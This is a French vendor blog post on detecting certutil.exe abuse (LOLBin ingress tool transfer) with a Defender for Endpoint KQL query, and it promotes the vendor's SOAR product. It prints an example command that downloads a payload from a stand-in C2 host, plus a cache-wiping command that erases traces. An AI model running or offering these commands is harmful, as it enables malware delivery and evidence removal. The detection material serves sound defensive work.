Sécurité des Terminaux (EDR)

Certutil.exe Détourné : Détecter T1105 avec Defender — Akuity SOC

5 min de lecture Akuity SOC · Delphisoft Deutschland

Détectez le téléchargement malveillant via certutil.exe (-urlcache -split) avec Defender for Endpoint et automatisez la réponse via Akuity SOC.

Dans l'arsenal des attaquants opérant sur les environnements Active Directory et postes de travail Windows, l'utilisation de binaires légitimes préinstallés—les fameux LOLBins (Living Off the Land Binaries)—demeure la méthode privilégiée pour contourner les contrôles applicatifs. Parmi eux, l'utilitaire de ligne de commande certutil.exe, conçu nativement pour manipuler les autorités de certification et les magasins de certificats, figure en tête de liste pour exécuter la technique MITRE ATT&CK T1105 (Ingress Tool Transfer).

Anatomie de l'attaque : Du certificat au payload binaire

L'exécutable certutil.exe embarque historiquement des fonctionnalités de mise en cache HTTP via ses paramètres -urlcache et -split. Conçus initialement pour récupérer des listes de révocation de certificats (CRL) ou des fichiers de chaîne (CRT), ces commutateurs sont détournés pour forcer le téléchargement et l'enregistrement sur disque de payloads arbitraires (scripts PowerShell obfusqués, DLL de rebond, ransomwares, ou exécutables de type Cobalt Strike beacon).

La séquence malveillante type se présente souvent sous cette forme :
certutil.exe -urlcache -split -f https://c2-infrastructure.evil/payload.bin C:\Users\Public\updater.exe
L'attaquant exploite le commutateur -f pour forcer le rafraîchissement du cache, télécharge le fichier depuis un canal chiffré TLS, et l'écrit directement dans un répertoire accessible en écriture sans privilèges administrateur.

L'angle mort natif et la télémétrie Defender for Endpoint

Parce que certutil.exe est un binaire officiel signé par Microsoft, présent nativement dans System32, de nombreuses règles de détection basiques échouent à lever une alerte critique en temps réel. Deux angles morts surviennent fréquemment en entreprise :

  • La réputation binaire : Les filtres applicatifs ou antivirus sans inspection comportementale ignorent l'appel car le binaire est digne de confiance.
  • L'évasion par masquage : Les attaquants ajoutent des arguments leurres, utilisent des encodages Base64 via -decode, ou renomment le binaire pour tromper les règles de filtrage par nom de fichier.

Dans Defender for Endpoint, la détection précise repose sur la table DeviceProcessEvents, en inspectant non seulement FileName mais impérativement ProcessVersionInfoOriginalFileName (pour déjouer le renommage) tout en corrélant la ligne de commande avec des extensions de fichiers distantes qui ne relèvent pas du monde PKI.

Détection avancée : Requête KQL Advanced Hunting

Cette requête pour Advanced Hunting (KQL) extrait l'URL cible, écarte le trafic légitime vers les autorités PKI reconnues ou les sous-réseaux privés, et isole toute tentative de transfert d'outils suspecte :

let PkiExtensions = dynamic([".crl", ".crt", ".cer"]);
let TrustedRoots = dynamic(["microsoft.com", "digicert.com", "sectigo.com", "letsencrypt.org"]);
DeviceProcessEvents
| where Timestamp > ago(24h)
| where ProcessVersionInfoOriginalFileName =~ "certutil.exe" or FileName =~ "certutil.exe"
| where ProcessCommandLine has_any("-urlcache", "-split", "-f") and ProcessCommandLine has_any("http://", "https://")
| extend TargetUrl = extract(@"(?i)(https?://[^\s""']+)", 1, ProcessCommandLine)
| extend RemoteHost = tostring(parse_url(TargetUrl).Host)
| extend UrlExtension = strcat(".", tostring(split(parse_url(TargetUrl).Path, ".")[-1]))
| where isnotempty(TargetUrl)
| where not(UrlExtension in~ (PkiExtensions))
| where not(RemoteHost has_any(TrustedRoots) or ipv4_is_private(RemoteHost))
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine, TargetUrl, RemoteHost, UrlExtension

Remédiation SOAR et gouvernance Akuity SOC

Dès la détection d'un transfert non conforme, la plateforme Akuity SOC prend le relais sans surcharger les analystes du SOC :

  • Résolution native du triage : L'assistant IA in-app d'Akuity SOC décode les paramètres obfusqués et qualifie la réputation de l'URL distante, sans aucune exportation vers des décodeurs web tiers.
  • Riposte SOAR chirurgicale : Déclenchement immédiat de blockIocOnTenant() pour bannir l'infrastructure de téléchargement et d'isolateDevice() pour couper le poste du réseau depuis l'inventaire des éléments de preuve.
  • Gouvernance Zero-Trust : Élévation sécurisée sous validation MFA AAL2 obligatoire et consignation des actions dans un journal d'audit immuable certifié NIS 2 et SOC 2 Type II.
Akuity SOC · Essai Gratuit 14 JoursAutomatisez la neutralisation des LOLBins :

Bannissez les infrastructures C2 et isolez les machines compromises en quelques secondes grâce aux playbooks Zero-Trust d'Akuity SOC.

Démarrer votre essai gratuit de 14 jours (sans carte bancaire) →

Mini-FAQ technique

Pourquoi ne pas simplement bloquer certutil.exe via AppLocker ou Windows Defender Application Control (WDAC) ?
Bien que recommandé sur les postes de travail bureautiques sans infrastructure PKI locale, le blocage aveugle de certutil.exe peut perturber l'enrôlement automatique de certificats machine, la validation des révocations S/MIME, ou l'administration des serveurs Active Directory Certificate Services (AD CS).

Comment certutil nettoie-t-il les traces de son téléchargement ?
L'utilisation de certutil -urlcache * delete permet aux attaquants de vider la cache de l'utilitaire immédiatement après avoir récupéré le binaire, effaçant ainsi les traces temporaires dans %TEMP% ou les métadonnées WinINet locales, d'où l'importance capitale d'une journalisation EDR centralisée.

Page Solution Associée

Plateforme SOC & SOAR Microsoft

Automatisez votre détection et votre réponse aux incidents avec Akuity SOC.

Découvrir la solution complète